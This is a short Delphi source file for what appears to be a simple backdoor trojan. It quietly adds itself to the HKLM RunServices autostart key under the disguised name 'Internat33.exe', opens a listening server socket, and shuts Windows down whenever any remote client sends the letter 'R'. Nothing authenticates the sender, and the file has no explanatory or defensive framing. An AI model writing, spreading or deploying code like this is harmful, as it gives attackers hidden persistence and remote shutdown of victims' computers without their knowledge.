unit Unit11;
 
interface
 
uses
 Registry,MMSystem, Classes, ScktComp , Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
  Dialogs;
 
type
  TForm11 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form11: TForm11;
 
implementation
 
{$R *.dfm}
 
procedure TForm11.FormCreate(Sender: TObject);
 var Regini:TRegIniFile;
begin
 Regini:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', True);
RegIni.WriteString('RunServices' , 'Internat33.exe' ,Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
 
procedure TForm11.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=false;
end;
 
procedure TForm11.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
 
end.